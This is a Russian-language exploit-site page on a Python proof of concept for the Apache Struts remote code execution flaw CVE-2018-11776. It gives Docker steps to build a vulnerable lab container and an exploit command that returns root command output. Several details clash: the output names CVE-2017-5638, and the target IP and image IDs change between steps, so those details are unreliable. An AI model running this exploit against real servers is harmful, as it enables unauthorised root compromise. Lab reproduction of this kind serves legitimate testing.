## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FRESHDEMO-APACHESTRUTS-CVE-2018-11776
### Apache Struts CVE-2018-11776 Python PoC
Это основано на https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. Сборка контейнера и инструкции не работали, как описано в README, поэтому был создан этот форк. Используемый эксплойт POC взят из Rapid7.
Благодарности:
hook-s3c (github.com/hook-s3c), @hook_s3c в twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
### Введение
Ман Юэ Мо из Semmle раскрыла уязвимость удаленного выполнения кода (RCE) в Struts2, которая доставляется через полезную нагрузку, закодированную в пути URL запроса.
Затронуты версии с 2.3 до 2.3.34 и с 2.5 до 2.5.16.
Конфигурация по умолчанию не уязвима. Этот контейнер и многие другие уязвимы.
### Шаг 1 - Сборка контейнера
Предпочтительнее собирать контейнер из Dockerfile, когда можно видеть, что входит в сборку.
` git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts `
` cd Struts `
` docker build . -t freshdemo/apachestruts `
Найдите новый контейнер с помощью
` docker images `
Вывод должен быть похож на этот, где вы можете получить ID образа.
root@kitploit:~
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
### Шаг 2 - Запуск контейнера
Соберите и запустите контейнер следующей командой.
` docker run -d --name apachestruts -p 8080:8080 d39018c50afe `
### Шаг 3 - Эксплуатация
Убедитесь, что любые входящие/исходящие брандмауэры разрешают порт, который вы указали ранее (8080), и запустите эксплойт против вашей цели с помощью следующей команды.
` python struts.py http://192.168.2.188:8080 'id' `
Ваш вывод должен быть похож на этот.
root@kitploit:~
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
http://13.88.250.188:8080 : [*] cmd: id
uid=0(root) gid=0(root) groups=0(root)